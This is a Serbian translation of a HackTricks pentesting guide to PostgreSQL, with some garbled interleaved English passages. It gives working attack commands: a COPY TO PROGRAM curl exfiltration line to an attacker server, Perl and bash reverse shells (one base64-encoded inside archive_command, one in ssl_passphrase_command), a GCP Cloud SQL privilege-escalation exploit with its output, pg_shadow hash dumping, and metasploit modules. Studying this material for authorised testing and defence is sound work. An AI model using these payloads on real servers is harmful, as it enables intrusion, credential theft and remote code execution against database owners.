37 KiB
5432,5433 - Pentestiranje Postgresql
Koristite Trickest da biste lako izgradili i automatizovali radne tokove uz pomoć najnaprednijih alata zajednice.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite oglašavanje vaše kompanije u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
PostgreSQL je opisan kao objektno-relacioni sistem baza podataka koji je open source. Ovaj sistem ne samo da koristi SQL jezik, već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da rukuje širokim spektrom tipova podataka i operacija, čineći ga fleksibilnim izborom za programere i organizacije.
Podrazumevani port: 5432, a ako je ovaj port već zauzet, izgleda da će postgresql koristiti sledeći port (verovatno 5433) koji nije zauzet.
PORT STATE SERVICE
5432/tcp open pgsql
Povezivanje i osnovno prebrojavanje
Povezivanje
Da biste se povezali sa PostgreSQL bazom podataka, možete koristiti psql
komandu:
psql -h <host> -p <port> -U <username> -d <database>
Gde su sledeći parametri:
<host>
: IP adresa ili ime hosta na kojem se nalazi PostgreSQL server.<port>
: Broj porta na kojem je PostgreSQL server otvoren (podrazumevana vrednost je 5432).<username>
: Korisničko ime za autentifikaciju na PostgreSQL serveru.<database>
: Ime baze podataka koju želite da koristite.
Osnovno prebrojavanje
Nakon uspešnog povezivanja sa PostgreSQL bazom podataka, možete izvršiti nekoliko osnovnih komandi za prebrojavanje:
SELECT version();
: Prikazuje verziju PostgreSQL servera.SELECT current_user;
: Prikazuje trenutno prijavljenog korisnika.SELECT current_database();
: Prikazuje trenutno korišćenu bazu podataka.SELECT * FROM pg_user;
: Prikazuje sve korisnike u bazi podataka.SELECT * FROM pg_database;
: Prikazuje sve baze podataka na serveru.
Ove komande vam mogu pružiti osnovne informacije o PostgreSQL serveru i bazi podataka sa kojom radite.
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
{% hint style="warning" %}
Ako pokrenete \list
i pronađete bazu podataka nazvanu rdsadmin
, znate da se nalazite unutar AWS postgresql baze podataka.
{% endhint %}
Za više informacija o zlostavljanju PostgreSQL baze podataka pogledajte:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}
Automatsko nabrojavanje
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Skeniranje porta
Prema ovom istraživanju, kada pokušaj povezivanja ne uspe, dblink
izbacuje izuzetak sqlclient_unable_to_establish_sqlconnection
koji uključuje objašnjenje greške. Primeri ovih detalja su navedeni ispod.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host je nedostupan
DETALJI: nije bilo moguće uspostaviti vezu sa serverom: Nema rute do hosta. Da li je server pokrenut na hostu "1.2.3.4" i prihvata TCP/IP konekcije na portu 5678?
- Port je zatvoren
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Porta je otvorena
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
ili
DETAIL: FATAL: password authentication failed for user "name"
- Port je otvoren ili filtriran
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako nije izvodljivo izvući korisnička imena i lozinke iz sistemskih tabela, možete razmotriti korišćenje metode napada rečnikom koja je opisana u prethodnom odeljku, jer bi mogla dati pozitivne rezultate.
Enumeracija privilegija
Uloge
Tipovi uloga | |
---|---|
rolsuper | Uloga ima privilegije superkorisnika |
rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada |
rolcreaterole | Uloga može kreirati druge uloge |
rolcreatedb | Uloga može kreirati baze podataka |
rolcanlogin | Uloga može se prijaviti. To znači da se ova uloga može koristiti kao početni identifikator sesije |
rolreplication | Uloga je replikaciona uloga. Replikaciona uloga može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju. |
rolconnlimit | Za uloge koje se mogu prijaviti, ovo postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači da nema ograničenja. |
rolpassword | Ne lozinka (uvek se prikazuje kao ******** ) |
rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte Odeljak 5.8 za više informacija. |
rolconfig | Specifične podrazumevane vrednosti za konfiguracione promenljive tokom izvršavanja |
oid | ID uloge |
Interesantne grupe
- Ako ste član
pg_execute_server_program
možete izvršavati programe - Ako ste član
pg_read_server_files
možete čitati fajlove - Ako ste član
pg_write_server_files
možete pisati fajlove
{% hint style="info" %} Imajte na umu da je u Postgresu korisnik, grupa i uloga isto. To samo zavisi od načina na koji se koristi i da li mu je omogućeno prijavljivanje. {% endhint %}
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tabele
Enumerating Tables
Enumeracija tabela
To enumerate the tables in a PostgreSQL database, you can use the following SQL query:
Da biste izlistali tabele u PostgreSQL bazi podataka, možete koristiti sledeći SQL upit:
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
This query will return the names of all tables in the "public" schema.
Ovaj upit će vratiti imena svih tabela u šemi "public".
Extracting Data from Tables
Izvlačenje podataka iz tabela
To extract data from a specific table, you can use the following SQL query:
Da biste izvukli podatke iz određene tabele, možete koristiti sledeći SQL upit:
SELECT * FROM table_name;
Replace "table_name" with the name of the table you want to extract data from.
Zamenite "table_name" sa imenom tabele iz koje želite izvući podatke.
Modifying Data in Tables
Modifikacija podataka u tabelama
To modify data in a table, you can use the following SQL queries:
Da biste modifikovali podatke u tabeli, možete koristiti sledeće SQL upite:
-
Inserting Data: Use the
INSERT INTO
statement to insert new data into a table.- Ubacivanje podataka: Koristite
INSERT INTO
naredbu da biste ubacili nove podatke u tabelu.
INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...);
- Ubacivanje podataka: Koristite
-
Updating Data: Use the
UPDATE
statement to update existing data in a table.- Ažuriranje podataka: Koristite
UPDATE
naredbu da biste ažurirali postojeće podatke u tabeli.
UPDATE table_name SET column1=value1, column2=value2, ... WHERE condition;
- Ažuriranje podataka: Koristite
-
Deleting Data: Use the
DELETE FROM
statement to delete data from a table.- Brisanje podataka: Koristite
DELETE FROM
naredbu da biste obrisali podatke iz tabele.
DELETE FROM table_name WHERE condition;
- Brisanje podataka: Koristite
Replace "table_name" with the name of the table you want to modify, and adjust the column names, values, and conditions accordingly.
Zamenite "table_name" sa imenom tabele koju želite da modifikujete, i prilagodite imena kolona, vrednosti i uslove prema potrebi.
Dropping Tables
Brisanje tabela
To drop a table from a PostgreSQL database, you can use the following SQL query:
Da biste obrisali tabelu iz PostgreSQL baze podataka, možete koristiti sledeći SQL upit:
DROP TABLE table_name;
Replace "table_name" with the name of the table you want to drop.
Zamenite "table_name" sa imenom tabele koju želite da obrišete.
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funkcije
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the CREATE FUNCTION
statement and can be called using the SELECT
statement.
Creating Functions
To create a function in PostgreSQL, you can use the following syntax:
CREATE FUNCTION function_name ([parameter1 data_type [, parameter2 data_type [, ...]]])
RETURNS return_type
LANGUAGE language_name
AS $$
-- Function body
$$;
function_name
: The name of the function.parameter1, parameter2, ...
: The input parameters of the function, each with its data type.return_type
: The data type of the value returned by the function.language_name
: The programming language used to write the function body.
Example
Let's create a simple function that calculates the square of a number:
CREATE FUNCTION square(num INTEGER)
RETURNS INTEGER
LANGUAGE SQL
AS $$
SELECT num * num;
$$;
Calling Functions
To call a function in PostgreSQL, you can use the SELECT
statement:
SELECT function_name([argument1 [, argument2 [, ...]]]);
function_name
: The name of the function.argument1, argument2, ...
: The arguments passed to the function.
Example
Let's call the square
function we created earlier:
SELECT square(5);
This will return the value 25
, which is the square of 5
.
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
Akcije na fajl-sistemu
Čitanje direktorijuma i fajlova
Od ovog commit članovi definisane grupe DEFAULT_ROLE_READ_SERVER_FILES
(poznate kao pg_read_server_files
) i super korisnici mogu koristiti metodu COPY
na bilo kojoj putanji (proverite convert_and_check_filename
u genfile.c
):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
{% hint style="warning" %} Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE, možete postati član te grupe:
GRANT pg_read_server_files TO username;
Više informacija. {% endhint %}
Postoje druge postgres funkcije koje se mogu koristiti za čitanje fajlova ili listanje direktorijuma. Samo superkorisnici i korisnici sa eksplicitnim dozvolama mogu ih koristiti:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Možete pronaći više funkcija na https://www.postgresql.org/docs/current/functions-admin.html
Jednostavno pisanje datoteka
Samo super korisnici i članovi pg_write_server_files
mogu koristiti copy za pisanje datoteka.
{% code overflow="wrap" %}
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
{% endcode %}
{% hint style="warning" %}
Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE
, možete postati član te grupe:
GRANT pg_write_server_files TO username;
Više informacija. {% endhint %}
Zapamtite da COPY ne može rukovati sa znakovima za novi red, stoga čak i ako koristite base64 payload, morate poslati jednolinijski kod.
Veoma važno ograničenje ove tehnike je da copy
ne može se koristiti za pisanje binarnih fajlova jer menja neke binarne vrednosti.
Slanje binarnih fajlova
Međutim, postoje druge tehnike za slanje velikih binarnih fajlova:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
Savet za bug bounty: registrujte se na Intigriti, premium platformu za bug bounty kreiranu od strane hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas i počnite da zarađujete nagrade do $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
RCE
RCE ka programu
Od verzije 9.3, samo super korisnici i članovi grupe pg_execute_server_program
mogu koristiti copy za RCE (primer sa eksfiltracijom:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Primer za izvršavanje:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
{% hint style="warning" %}
Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE
, možete postati član te grupe:
GRANT pg_execute_server_program TO username;
Više informacija. {% endhint %}
Ili koristite modul multi/postgres/postgres_copy_from_program_cmd_exec
iz metasploita.
Više informacija o ovoj ranjivosti ovde. Dok je prijavljeno kao CVE-2019-9193, Postgres je saopštio da je ovo bila funkcionalnost i neće biti popravljena.
RCE sa PostgreSQL jezicima
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}
RCE sa PostgreSQL ekstenzijama
Kada ste naučili iz prethodnog posta kako da otpremate binarne fajlove, možete pokušati da dobijete RCE otpremanjem PostgreSQL ekstenzije i učitavanjem iste.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}
RCE sa konfiguracionim fajlom PostgreSQL-a
Konfiguracioni fajl PostgreSQL-a je moguće menjati od strane postgres korisnika, koji pokreće bazu podataka, tako da kao superkorisnik možete pisati fajlove na fajl sistemu i samim tim možete ga prepisati.
RCE sa ssl_passphrase_command
Više informacija o ovoj tehnici ovde.
Konfiguracioni fajl ima neke interesantne atribute koji mogu dovesti do RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Putanja do privatnog ključa baze podatakassl_passphrase_command = ''
Ako je privatni fajl zaštićen lozinkom (šifrovan), PostgreSQL će izvršiti komandu koja je navedena u ovom atributu.ssl_passphrase_command_supports_reload = off
Ako je ovaj atribut uključen, komanda koja se izvršava ako je ključ zaštićen lozinkom će se izvršiti kada se izvršipg_reload_conf()
.
Zatim, napadač će morati da:
- Izvuče privatni ključ sa servera
- Šifruje preuzeti privatni ključ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- Prepiše
- Izvuče trenutnu konfiguraciju PostgreSQL-a
- Prepiše konfiguraciju sa pomenutim atributima konfiguracije:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
- Izvrši
pg_reload_conf()
Prilikom testiranja primetio sam da ovo funkcioniše samo ako privatni ključ ima privilegije 640, vlasnik je root i pripada grupi ssl-cert ili postgres (tako da postgres korisnik može da ga čita) i nalazi se u /var/lib/postgresql/12/main.
RCE sa archive_command
Više informacija o ovoj konfiguraciji i o WAL-u ovde.
Još jedan atribut u konfiguracionom fajlu koji je iskoristiv je archive_command
.
Da bi ovo funkcionisalo, postavka archive_mode
mora biti 'on'
ili 'always'
. Ako je to tačno, onda možemo prepisati komandu u archive_command
i naterati je da se izvrši putem operacija WAL (write-ahead logging).
Opšti koraci su:
- Proverite da li je omogućen režim arhiviranja:
SELECT current_setting('archive_mode')
- Prepišite
archive_command
sa payload-om. Na primer, obrnuti shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
- Ponovo učitajte konfiguraciju:
SELECT pg_reload_conf()
- Prisilite izvršavanje operacije WAL, što će pozvati arhivsku komandu:
SELECT pg_switch_wal()
iliSELECT pg_switch_xlog()
za neke verzije Postgres-a
Postgres Privesc
CREATEROLE Privesc
Grant
Prema dokumentaciji: Uloge koje imaju privilegiju CREATEROLE
mogu dodeljivati ili oduzimati članstvo u bilo kojoj ulozi koja nije superkorisnik.
Dakle, ako imate dozvolu CREATEROLE
, možete sebi dodeliti pristup drugim ulogama (koje nisu superkorisnici) koje vam mogu omogućiti čitanje i pisanje fajlova i izvršavanje komandi:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Promena lozinke
Korisnici sa ovom ulogom takođe mogu promeniti lozinke drugih ne-superkorisnika:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc do SUPERUSER-a
Prilično je uobičajeno da lokalni korisnici mogu se prijaviti u PostgreSQL bez unošenja lozinke. Stoga, kada ste stekli dozvole za izvršavanje koda, možete zloupotrijebiti te dozvole kako biste dobili ulogu SUPERUSER
:
-- Create a new user with superuser privileges
CREATE USER malicious_user SUPERUSER;
-- Set the password for the new user
ALTER USER malicious_user WITH PASSWORD 'password';
-- Login as the new user
\c -U malicious_user
-- Now you have superuser privileges
Ovaj postupak omogućava da se stvori novi korisnik sa privilegijama superuser-a, postavi lozinka za novog korisnika i prijavi se kao taj korisnik kako bi se dobile superuser privilegije.
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
{% hint style="info" %}
Ovo je obično moguće zbog sledećih linija u datoteci pg_hba.conf
:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
{% endhint %}
ALTER TABLE privesc
U ovom objašnjenju je objašnjeno kako je bilo moguće izvršiti privesc u Postgres GCP zloupotrebom privilegije ALTER TABLE koja je bila dodeljena korisniku.
Kada pokušate da dodelite vlasništvo nad tabelom drugom korisniku, trebali biste dobiti grešku koja to sprečava, ali očigledno je GCP dao tu opciju korisniku postgres koji nije superkorisnik u GCP:
Spajajući ovu ideju sa činjenicom da kada se izvrše komande INSERT/UPDATE/ANALYZE na tabeli sa funkcijom indeksa, funkcija se poziva kao deo komande sa dozvolama vlasnika tabele. Moguće je kreirati indeks sa funkcijom i dati vlasničke dozvole superkorisniku nad tom tabelom, a zatim pokrenuti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Eksploatacija
- Počnite tako što ćete kreirati novu tabelu.
- Ubacite nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa.
- Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
- ALTERujte vlasnika tabele u "cloudsqladmin", što je superkorisnička uloga GCP-a koju isključivo koristi Cloud SQL za upravljanje i održavanje baze podataka.
- Izvršite operaciju ANALYZE na tabeli. Ova akcija natera PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin". Kao rezultat toga, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin", čime se omogućava izvršavanje prethodno neovlašćene shell komande.
U PostgreSQL-u, ovaj tok izgleda otprilike ovako:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Zatim, tabela shell_commands_results
će sadržati rezultate izvršenog koda:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Lokalna prijava
Neki neispravno konfigurisani postgresql instanci mogu dozvoliti prijavu bilo kog lokalnog korisnika, moguće je lokalno se prijaviti sa 127.0.0.1 koristeći dblink
funkciju:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
{% hint style="warning" %}
Imajte na umu da za prethodni upit da bi radio funkcija dblink
mora postojati. Ako ne postoji, možete pokušati da je kreirate sa
CREATE EXTENSION dblink;
{% endhint %}
Ako imate lozinku korisnika sa većim privilegijama, ali korisniku nije dozvoljeno da se prijavi sa spoljnog IP-a, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Moguće je proveriti da li ova funkcija postoji pomoću:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Korisnički definisana funkcija sa SECURITY DEFINER
U ovom objašnjenju, pentesteri su uspeli da izvrše privesc unutar postgres instanci koje je pružao IBM, jer su pronašli ovu funkciju sa SECURITY DEFINER oznakom:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Kao što je objašnjeno u dokumentaciji, funkcija sa SECURITY DEFINER oznakom se izvršava sa privilegijama korisnika koji je vlasnik funkcije. Stoga, ako je funkcija ranjiva na SQL Injection ili izvršava privilegovane akcije sa parametrima koje kontroliše napadač, može se zloupotrebiti za povećanje privilegija unutar postgresa.
Na liniji 4 prethodnog koda možete videti da funkcija ima SECURITY DEFINER oznaku.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
I onda izvršite komande:
Prođite kroz Burteforce sa PL/pgSQL
PL/pgSQL je potpuno opremljen programski jezik koji nudi veću proceduralnu kontrolu u odnosu na SQL. Omogućava upotrebu petlji i drugih kontrolnih struktura radi poboljšanja logike programa. Osim toga, SQL izjave i okidači imaju mogućnost da pozovu funkcije koje su kreirane koristeći PL/pgSQL jezik. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju i automatizaciji baza podataka.
Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da izvrši brute-force napad na korisničke podatke.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
beleženje
Unutar datoteke postgresql.conf možete omogućiti beleženje postgresql logova promenom:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Zatim, ponovo pokrenite servis.
pgadmin
pgadmin je platforma za administraciju i razvoj PostgreSQL baze podataka.
Možete pronaći lozinke unutar datoteke pgadmin4.db.
Možete ih dešifrovati koristeći funkciju decrypt unutar skripte: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Klijentska autentifikacija u PostgreSQL-u se upravlja putem konfiguracione datoteke nazvane pg_hba.conf. Ova datoteka sadrži niz zapisa, pri čemu svaki zapis specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), naziv baze podataka, korisničko ime i metod autentifikacije koji se koristi za uparivanje konekcija. Prvi zapis koji se podudara sa tipom konekcije, IP adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentifikaciju. Ne postoji rezervna ili rezervna opcija ako autentifikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
Dostupni metodi autentifikacije zasnovani na lozinkama u pg_hba.conf su md5, crypt i password. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširana, kriptovana kriptografijom ili čisti tekst. Važno je napomenuti da metoda crypt ne može se koristiti sa lozinkama koje su šifrovane u pg_authid.
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite oglašavanje vaše kompanije u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da biste lako izgradili i automatizovali radne tokove koji se pokreću najnaprednijim alatima zajednice.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}